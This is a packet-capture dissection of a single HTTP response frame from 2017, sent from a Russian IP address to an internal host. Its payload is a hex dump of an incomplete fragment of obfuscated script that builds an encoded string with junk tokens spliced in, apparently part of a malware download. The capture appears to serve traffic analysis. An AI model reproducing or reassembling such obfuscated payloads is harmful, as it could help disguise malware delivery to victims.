Frame 144: Packet, 1328 bytes on wire (10624 bits), 1328 bytes captured (10624 bits) Encapsulation type: Ethernet (1) Arrival Time: Nov 21, 2017 01:00:43.331527000 UTC UTC Arrival Time: Nov 21, 2017 01:00:43.331527000 UTC Epoch Arrival Time: 1511226043.331527000 [Time shift for this packet: 0.000000000 seconds] [Time delta from previous captured frame: 288.000 microseconds] [Time since reference or first frame: 37.465787000 seconds] Frame Number: 144 Frame Length: 1328 bytes (10624 bits) Capture Length: 1328 bytes (10624 bits) [Frame is marked: False] [Frame is ignored: False] [Protocols in frame: eth:ethertype:ip:tcp:http:data] Character encoding: ASCII (0) Ethernet II, Src: Netgear_8d:2e:93 (74:44:01:8d:2e:93), Dst: HewlettPacka_d7:16:7c (00:1a:4b:d7:16:7c) Destination: HewlettPacka_d7:16:7c (00:1a:4b:d7:16:7c) .... ..0. .... .... .... .... = LG bit: Globally unique address (factory default) .... ...0 .... .... .... .... = IG bit: Individual address (unicast) Source: Netgear_8d:2e:93 (74:44:01:8d:2e:93) .... ..0. .... .... .... .... = LG bit: Globally unique address (factory default) .... ...0 .... .... .... .... = IG bit: Individual address (unicast) Type: IPv4 (0x0800) [Stream index: 0] Internet Protocol Version 4, Src: 109.120.150.110, Dst: 10.4.1.102 0100 .... = Version: 4 .... 0101 = Header Length: 20 bytes (5) Differentiated Services Field: 0x00 (DSCP: CS0, ECN: Not-ECT) 0000 00.. = Differentiated Services Codepoint: Default (0) .... ..00 = Explicit Congestion Notification: Not ECN-Capable Transport (0) Total Length: 1314 Identification: 0xc99a (51610) 000. .... = Flags: 0x0 0... .... = Reserved bit: Not set .0.. .... = Don't fragment: Not set ..0. .... = More fragments: Not set ...0 0000 0000 0000 = Fragment Offset: 0 Time to Live: 128 Protocol: TCP (6) Header Checksum: 0x5ceb [validation disabled] [Header checksum status: Unverified] Source Address: 109.120.150.110 Destination Address: 10.4.1.102 [Source GeoIP: RU] [Source GeoIP Country: Russia] [Source or Destination GeoIP Country: Russia] [Source GeoIP ISO Two Letter Country Code: RU] [Source or Destination GeoIP ISO Two Letter Country Code: RU] [Source GeoIP Latitude: 55.7386] [Source or Destination GeoIP Latitude: 55.7386] [Source GeoIP Longitude: 37.6068] [Source or Destination GeoIP Longitude: 37.6068] [Stream index: 9] Transmission Control Protocol, Src Port: 80, Dst Port: 49161, Seq: 38705, Ack: 1678, Len: 1274 Source Port: 80 Destination Port: 49161 [Stream index: 4] [Stream Packet Number: 58] [Conversation completeness: Incomplete, DATA (15)] ..0. .... = RST: Absent ...0 .... = FIN: Absent .... 1... = Data: Present .... .1.. = ACK: Present .... ..1. = SYN-ACK: Present .... ...1 = SYN: Present [Completeness Flags: ··DASS] [TCP Segment Len: 1274] Sequence Number: 38705 (relative sequence number) Sequence Number (raw): 3620111120 [Next Sequence Number: 39979 (relative sequence number)] Acknowledgment Number: 1678 (relative ack number) Acknowledgment number (raw): 2557490690 0101 .... = Header Length: 20 bytes (5) Flags: 0x018 (PSH, ACK) 000. .... .... = Reserved: Not set ...0 .... .... = Accurate ECN: Not set .... 0... .... = Congestion Window Reduced: Not set .... .0.. .... = ECN-Echo: Not set .... ..0. .... = Urgent: Not set .... ...1 .... = Acknowledgment: Set .... .... 1... = Push: Set .... .... .0.. = Reset: Not set .... .... ..0. = Syn: Not set .... .... ...0 = Fin: Not set [TCP Flags: ·······AP···] Window: 64240 [Calculated window size: 64240] [Window size scaling factor: -2 (no window scaling used)] Checksum: 0x56b9 [unverified] [Checksum Status: Unverified] Urgent Pointer: 0 [Timestamps] [Time since first frame in this TCP stream: 1.112657000 seconds] [Time since previous frame in this TCP stream: 288.000 microseconds] [SEQ/ACK analysis] [iRTT: 184.943000 milliseconds] [Bytes in flight: 1274] [Bytes sent since last PSH flag: 1274] [Client Contiguous Streams: 1] [Server Contiguous Streams: 1] TCP payload (1274 bytes) Hypertext Transfer Protocol File Data: 1274 bytes Data (1274 bytes) 0000 3b 67 6f 78 65 2b 3d 27 41 47 45 55 42 59 78 71 ;goxe+='AGEUBYxq 0010 27 3b 67 6f 78 65 2b 3d 27 73 6c 62 44 65 36 48 ';goxe+='slbDe6H 0020 4b 2f 27 3b 67 6f 78 65 2b 3d 27 57 71 37 30 38 K/';goxe+='Wq708 0030 70 63 27 3b 67 6f 78 65 2b 3d 27 69 56 42 59 45 pc';goxe+='iVBYE 0040 62 77 53 27 3b 67 6f 78 65 2b 3d 27 67 51 57 62 bwS';goxe+='gQWb 0050 6a 35 47 54 4a 79 27 3b 67 6f 78 65 2b 3d 27 45 j5GTJy';goxe+='E 0060 6b 52 55 43 4f 4d 50 27 3b 67 6f 78 65 2b 3d 27 kRUCOMP';goxe+=' 0070 41 54 5f 4d 4f 44 45 73 35 27 3b 67 6f 78 65 2b AT_MODEs5';goxe+ 0080 3d 27 44 42 59 34 47 4c 54 27 3b 67 6f 78 65 2b ='DBY4GLT';goxe+ 0090 3d 27 4d 72 52 76 52 46 77 67 27 3b 67 6f 78 65 ='MrRvRFwg';goxe 00a0 2b 3d 27 58 78 2b 70 43 27 3b 67 6f 78 65 2b 3d +='Xx+pC';goxe+= 00b0 27 6e 78 5a 53 72 6f 27 3b 67 6f 78 65 2b 3d 27 'nxZSro';goxe+=' 00c0 31 50 4b 70 5a 4b 77 79 76 71 27 3b 67 6f 78 65 1PKpZKwyvq';goxe 00d0 2b 3d 27 54 2b 65 43 4d 35 42 27 3b 67 6f 78 65 +='T+eCM5B';goxe 00e0 2b 3d 27 59 56 35 41 73 73 48 59 59 27 3b 67 6f +='YV5AssHYY';go 00f0 78 65 2b 3d 27 39 77 35 6d 47 76 43 27 3b 67 6f xe+='9w5mGvC';go 0100 78 65 2b 3d 27 4f 4d 50 41 54 5f 4d 4f 27 3b 67 xe+='OMPAT_MO';g 0110 6f 78 65 2b 3d 27 44 45 79 43 4f 4d 50 41 27 3b oxe+='DEyCOMPA'; 0120 67 6f 78 65 2b 3d 27 54 5f 4d 4f 44 45 55 30 27 goxe+='T_MODEU0' 0130 3b 67 6f 78 65 2b 3d 27 44 50 51 45 51 62 44 27 ;goxe+='DPQEQbD' 0140 3b 67 6f 78 65 2b 3d 27 63 67 74 65 56 5a 41 27 ;goxe+='cgteVZA' 0150 3b 67 6f 78 65 2b 3d 27 33 5a 33 51 6c 2b 72 52 ;goxe+='3Z3Ql+rR 0160 27 3b 67 6f 78 65 2b 3d 27 41 56 74 46 56 33 36 ';goxe+='AVtFV36 0170 78 74 27 3b 67 6f 78 65 2b 3d 27 39 74 62 6e 75 xt';goxe+='9tbnu 0180 41 64 70 2f 27 3b 67 6f 78 65 2b 3d 27 41 48 30 Adp/';goxe+='AH0 0190 39 75 70 76 65 62 27 3b 67 6f 78 65 2b 3d 27 55 9upveb';goxe+='U 01a0 57 58 79 58 6e 27 3b 67 6f 78 65 2b 3d 27 59 42 WXyXn';goxe+='YB 01b0 65 67 67 57 78 27 3b 67 6f 78 65 2b 3d 27 6e 65 eggWx';goxe+='ne 01c0 70 38 63 51 4e 27 3b 67 6f 78 65 2b 3d 27 56 67 p8cQN';goxe+='Vg 01d0 4d 4a 6a 72 4f 53 76 27 3b 67 6f 78 65 2b 3d 27 MJjrOSv';goxe+=' 01e0 4a 65 58 34 73 51 52 27 3b 67 6f 78 65 2b 3d 27 JeX4sQR';goxe+=' 01f0 53 52 51 4a 65 63 4f 5a 46 4a 27 3b 67 6f 78 65 SRQJecOZFJ';goxe 0200 2b 3d 27 5a 43 4f 4d 50 41 54 5f 4d 27 3b 67 6f +='ZCOMPAT_M';go 0210 78 65 2b 3d 27 4f 44 45 55 35 71 27 3b 67 6f 78 xe+='ODEU5q';gox 0220 65 2b 3d 27 59 73 4b 46 43 4f 4d 50 27 3b 67 6f e+='YsKFCOMP';go 0230 78 65 2b 3d 27 41 54 5f 4d 4f 44 45 51 6b 31 27 xe+='AT_MODEQk1' 0240 3b 67 6f 78 65 2b 3d 27 38 38 7a 45 37 2b 27 3b ;goxe+='88zE7+'; 0250 67 6f 78 65 2b 3d 27 79 67 57 34 58 55 4a 59 56 goxe+='ygW4XUJYV 0260 27 3b 67 6f 78 65 2b 3d 27 68 33 66 71 63 62 58 ';goxe+='h3fqcbX 0270 35 77 68 27 3b 67 6f 78 65 2b 3d 27 45 6f 4a 53 5wh';goxe+='EoJS 0280 42 75 6c 27 3b 67 6f 78 65 2b 3d 27 67 5a 6c 44 Bul';goxe+='gZlD 0290 6f 2f 27 3b 67 6f 78 65 2b 3d 27 73 63 39 4f 37 o/';goxe+='sc9O7 02a0 69 27 3b 67 6f 78 65 2b 3d 27 6e 62 76 49 39 4f i';goxe+='nbvI9O 02b0 56 74 2b 27 3b 67 6f 78 65 2b 3d 27 7a 37 74 79 Vt+';goxe+='z7ty 02c0 41 64 73 27 3b 67 6f 78 65 2b 3d 27 79 76 56 4e Ads';goxe+='yvVN 02d0 32 52 57 6b 27 3b 67 6f 78 65 2b 3d 27 41 53 59 2RWk';goxe+='ASY 02e0 6e 6e 43 27 3b 67 6f 78 65 2b 3d 27 52 37 75 6f nnC';goxe+='R7uo 02f0 71 4a 46 27 3b 67 6f 78 65 2b 3d 27 43 4f 4d 50 qJF';goxe+='COMP 0300 41 54 5f 27 3b 67 6f 78 65 2b 3d 27 4d 4f 44 45 AT_';goxe+='MODE 0310 6d 6f 31 27 3b 67 6f 78 65 2b 3d 27 6e 6c 6b 48 mo1';goxe+='nlkH 0320 4d 30 4e 78 47 27 3b 67 6f 78 65 2b 3d 27 57 75 M0NxG';goxe+='Wu 0330 77 2f 4c 71 51 35 39 7a 27 3b 67 6f 78 65 2b 3d w/LqQ59z';goxe+= 0340 27 52 7a 76 2b 51 55 7a 66 27 3b 67 6f 78 65 2b 'Rzv+QUzf';goxe+ 0350 3d 27 70 71 5a 33 58 36 50 4a 53 27 3b 67 6f 78 ='pqZ3X6PJS';gox 0360 65 2b 3d 27 6e 36 50 45 6d 57 4c 46 4d 48 27 3b e+='n6PEmWLFMH'; 0370 67 6f 78 65 2b 3d 27 6e 47 65 55 59 57 4f 33 6b goxe+='nGeUYWO3k 0380 27 3b 67 6f 78 65 2b 3d 27 2b 4c 56 79 67 78 6c ';goxe+='+LVygxl 0390 52 27 3b 67 6f 78 65 2b 3d 27 57 73 6f 49 66 36 R';goxe+='WsoIf6 03a0 62 6d 27 3b 67 6f 78 65 2b 3d 27 56 41 4a 58 42 bm';goxe+='VAJXB 03b0 35 2b 4a 27 3b 67 6f 78 65 2b 3d 27 67 72 4e 4a 5+J';goxe+='grNJ 03c0 6e 27 3b 67 6f 78 65 2b 3d 27 42 43 4f 4d 50 27 n';goxe+='BCOMP' 03d0 3b 67 6f 78 65 2b 3d 27 41 54 5f 4d 4f 44 45 6c ;goxe+='AT_MODEl 03e0 49 27 3b 67 6f 78 65 2b 3d 27 66 63 31 48 59 79 I';goxe+='fc1HYy 03f0 78 27 3b 67 6f 78 65 2b 3d 27 49 47 71 63 30 27 x';goxe+='IGqc0' 0400 3b 67 6f 78 65 2b 3d 27 69 63 5a 70 5a 4b 47 38 ;goxe+='icZpZKG8 0410 71 59 27 3b 67 6f 78 65 2b 3d 27 39 43 4f 4d 50 qY';goxe+='9COMP 0420 27 3b 67 6f 78 65 2b 3d 27 41 54 5f 4d 4f 44 27 ';goxe+='AT_MOD' 0430 3b 67 6f 78 65 2b 3d 27 45 66 56 43 74 56 4e 27 ;goxe+='EfVCtVN' 0440 3b 67 6f 78 65 2b 3d 27 36 43 31 77 64 31 46 55 ;goxe+='6C1wd1FU 0450 7a 38 27 3b 67 6f 78 65 2b 3d 27 35 6b 68 5a 57 z8';goxe+='5khZW 0460 37 70 59 2b 27 3b 67 6f 78 65 2b 3d 27 39 77 68 7pY+';goxe+='9wh 0470 38 31 48 6c 6b 27 3b 67 6f 78 65 2b 3d 27 71 63 81Hlk';goxe+='qc 0480 71 43 32 53 65 37 35 67 27 3b 67 6f 78 65 2b 3d qC2Se75g';goxe+= 0490 27 77 46 59 39 49 41 70 36 56 27 3b 67 6f 78 65 'wFY9IAp6V';goxe 04a0 2b 3d 27 4c 4a 72 30 43 4a 6f 27 3b 67 6f 78 65 +='LJr0CJo';goxe 04b0 2b 3d 27 2b 63 67 67 6d 58 27 3b 67 6f 78 65 2b +='+cggmX';goxe+ 04c0 3d 27 71 65 48 64 2f 48 7a 39 50 30 27 3b 67 6f ='qeHd/Hz9P0';go 04d0 78 65 2b 3d 27 4e 55 30 43 4f 27 3b 67 6f 78 65 xe+='NU0CO';goxe 04e0 2b 3d 27 4d 50 41 54 5f 4d 4f 44 45 51 27 3b 67 +='MPAT_MODEQ';g 04f0 6f 78 65 2b 3d 27 66 72 37 6a oxe+='fr7j Data […]: 3b676f78652b3d274147455542597871273b676f78652b3d27736c62446536484b2f273b676f78652b3d2757713730387063273b676f78652b3d276956425945627753273b676f78652b3d27675157626a3547544a79273b676f78652b3d27456b5255434f4d50273b676f78652b3d27415 [Length: 1274]